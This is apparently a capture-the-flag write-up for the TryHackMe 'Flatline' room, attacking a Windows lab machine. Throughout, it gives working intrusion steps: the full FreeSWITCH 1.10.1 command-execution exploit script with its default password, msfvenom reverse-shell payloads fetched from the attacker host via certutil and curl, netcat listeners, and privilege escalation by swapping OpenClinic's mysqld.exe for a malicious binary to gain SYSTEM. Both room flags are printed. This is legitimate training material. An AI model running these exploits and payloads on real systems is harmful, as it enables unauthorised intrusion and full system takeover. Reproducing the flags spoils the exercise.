Flatline

Enumeration

```
└$ sudo nmap -sV -sC -A -Pn -p 3389,8021 10.10.57.92
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 04:55 EDT
Nmap scan report for 10.10.57.92
Host is up (0.19s latency).
      STATE SERVICE
                             VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
  Target_Name: WIN-EOM4PK0578N
   NetBIOS_Domain_Name: WIN-EOM4PK0578N
   NetBIOS_Computer_Name: WIN-EOM4PK0578N
| DNS_Domain_Name: WIN-EOM4PK0578N
| DNS_Computer_Name: WIN-EOM4PK0578N
  Product_Version: 10.0.17763
|_ System_Time: 2023-07-03T08:56:27+00:00
|_ssl-date: 2023-07-03T08:56:32+00:00; +56s from scanner time.
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Not valid before: 2023-07-02T08:53:25
|_Not valid after: 2024-01-01T08:53:25
8021/tcp open freeswitch-event FreeSWITCH mod_event_socket
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 55s, deviation: 0s, median: 54s
TRACEROUTE (using port 3389/tcp)
HOP RTT
            ADDRESS
1 186.36 ms 10.8.0.1
2 184.83 ms 10.10.57.92
```

```
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.19 seconds
```

Exploit

Use searchsploit to view modules to exploit the freeswitch service

```
(kali@kali)-[~/TryHackMe/Flatline]
$ searchsploit freeswitch

Exploit Title

FreeSWITCH - Event Socket Command Execution (Metasploit)
FreeSWITCH 1.10.1 - Command Execution

Shellcodes: No Results
| Path | multiple/remote/47698.rb | windows/remote/47799.txt
```

Get the file 47799.txt to the current directory and rename it to 47799.py because it was written in python3 or download it from ExploitDB

```
# Exploit Title: FreeSWITCH 1.10.1 - Command Execution
# Date: 2019-12-19
# Exploit Author: 1F98D
# Vendor Homepage: https://freeswitch.com/
# Software Link: https://files.freeswitch.org/windows/installer/x64/FreeSWITCH-1.10.1-Release-x64.msi
# Version: 1.10.1
# Tested on: Windows 10 (x64)
# FreeSWITCH listens on port 8021 by default and will accept and run commands sent to
# it after authenticating. By default commands are not accepted from remote hosts.
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
# nt authority\system
#!/usr/bin/python3
from socket import *
import sys
if len(sys.argv) != 3:
    print('Missing arguments')
    print('Usage: freeswitch-exploit.py <target> <cmd>')
    sys.exit(1)
ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='ClueCon' # default password for FreeSWITCH
s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))
response = s.recv(1024)
if b'auth/request' in response:
    s.send(bytes('auth {})\n'.format(PASSWORD), 'utf8'))
    response = s.recv(1024)
```

```
if b'+OK accepted' in response:
    print('Authenticated')
    s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
    response = s.recv(8096).decode()
    print(response)
    else:
        print('Authentication failed')
        sys.exit(1)
else:
    print('Not prompted for authentication, likely not vulnerable')
    sys.exit(1)
```

Execute the file with the cmd argument as whoami for testing connection

```
(kali®kali)-[~/TryHackMe/Flatline]

$\square$ python3 47799.py 10.10.57.92 "whoami"

Authenticated
Content-Type: api/response
Content-Length: 25

win-eom4pk0578n\nekrotic
```

The file executed successfully! Now it's time to create reverse shell and upload it to the target machine.

Gain Access

Because the target machine is running within **Windows** OS \rightarrow The reverse payload should be the **windows** type

```
[-] (kali@kali)-[~/TryHackMe/Flatline]

$\_$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.97.213 LPORT=4444 -f exe -o revShell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 73802 bytes

Saved as: revShell.exe
```

The reverse shell created → Upload it by certutil or curl

```
(kali%kali)-[~/TryHackMe/Flatline]

$\_\$ python3 47799.py 10.10.57.92 "certutil -urlcache -split -f http://10.8.97.213:8080/revShell.exe"

Authenticated
Content-Type: api/response
Content-Length: 94

**** Online ****

000000 ...

01204a
CertUtil: -URLCache command completed successfully.
```

Don't forget to open the port on the local machine to transfer the file

```
(kali®kali)-[~/TryHackMe/Flatline]

$\sudo python3 -m http.server 8080
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

10.10.57.92 - - [03/Jul/2023 05:06:28] "GET /revShell.exe HTTP/1.1" 200 -
10.10.57.92 - - [03/Jul/2023 05:06:29] "GET /revShell.exe HTTP/1.1" 200 -
```

Note: Another way is using nc -lvnp <PORT> and systemctl start apache2

Verify that the reverse shell has been transfer and placed on the current directory

```
┌──(kali⊛kali)-[~/TryHackMe/Flatline]
└$ python3 47799.py 10.10.57.92 "dir"
Authenticated
Content-Type: api/response
Content-Length: 2395
Volume in drive C has no label.
Volume Serial Number is 84FD-2CC9
Directory of C:\Program Files\FreeSWITCH
[REDACTED]
03/07/2023 10:07
                         73,802 revShell.exe
09/11/2021 08:22 <DIR>
                          run
09/11/2021 08:22 <DIR>
                                 scripts
[REDACTED]
```

Execute it

```
___(kali@kali)-[~/TryHackMe/Flatline]

_$ python3 47799.py 10.10.57.92 "revShell.exe"

Authenticated
```

Remember to start the Netcat Listener at first!

```
(kali@kali)-[~/TryHackMe/Flatline]

$\square$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.97.213] from (UNKNOWN) [10.10.57.92] 49826
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\FreeSWITCH>whoami
whoami
win-eom4pk0578n\nekrotic
```

Navigate to the directory of user nekrotic and find the flag

```
C:\Users\Nekrotic\Desktop>more user.txt
more user.txt
THM{64bca0843d535fa73eecdc59d27cbe26}
```

Privilege Escalation → **Administrator**

Back to directory $c: \lor \to \text{The folder projects}$ is not the folder that generally placed in the $c: \lor \text{directory} \to \text{Explore it}$

Get inside and find out there is another folder called openclinic

Go through files that the folder is containing

Research from ExploitDB to figure out this PoC

```
# Proof of Concept
1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start
3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"
4. Overwrite file and copy malicious .exe.
    \label{lem:condition} Renename \ C:\projects\openclinic\mariadb\bin\mbox{\sc mysqld.exe} > \mbox{\sc mysqld.bak}
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
5. Restart victim machine
6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system
```

The above PoC shows manual steps to exploit the target machine through openclinic folder and the mysqld.exe file

Create another payload with msfvenom

```
[-] (kali®kali)-[~/TryHackMe/Flatline]

$\_$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.97.213 LPORT=4242 -f exe > msqld_evil.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 73802 bytes
```

Upload the payload to the target machine and rename it to mysqld.exe (remember to change the original mysqld.exe to another file such as mysqld.bak to avoid the conflict)

```
C:\projects\openclinic\mariadb\bin>certutil -urlcache -split -f http://10.8.97.213:8080/mysqld_evil.exe mysqld.exe certutil -urlcache -split -f http://10.8.97.213:8080/mysqld_evil.exe mysqld.exe

**** Online ****

000000 ...

01204a

CertUtil: -URLCache command completed successfully.
```

Verify that the malicious file has been upload successfully by focus on the size of it!

Original

```
23/03/2021 00:47 26,600 mysqld.exe
```

Malicious

```
03/07/2023 10:28 73,802 mysqld.exe
```

Start the Netcat Listener on the local machine on the selected port in mysqld_evil.exe file and restart the target machine by command shutdown /r

```
C:\projects\openclinic\mariadb\bin>whoami
whoami
win-eom4pk0578n\nekrotic
C:\projects\openclinic\mariadb\bin>shutdown /r

___(kali\text{\text{kali}}-[~/TryHackMe/Flatline]}
__\text{\text{\text{$}}}
```

Then wait for a second and the current shell would be disconnected \rightarrow Look at the Netcat terminal and verify that the connection is succeed

```
(kali%kali)-[~/TryHackMe/Flatline]

$\_\$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.8.97.213] from (UNKNOWN) [10.10.57.92] 49671
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>\whoami
whoami
nt authority\system
```

Navigate to Nekrotic\Desktop and get the root flag

```
C:\Windows\system32>cd ..\..\Users\Nekrotic\Desktop
C:\Users\Nekrotic\Desktop>more root.txt
more root.txt
THM{8c8bc5558f0f3f8060d00ca231a9fb5e}
```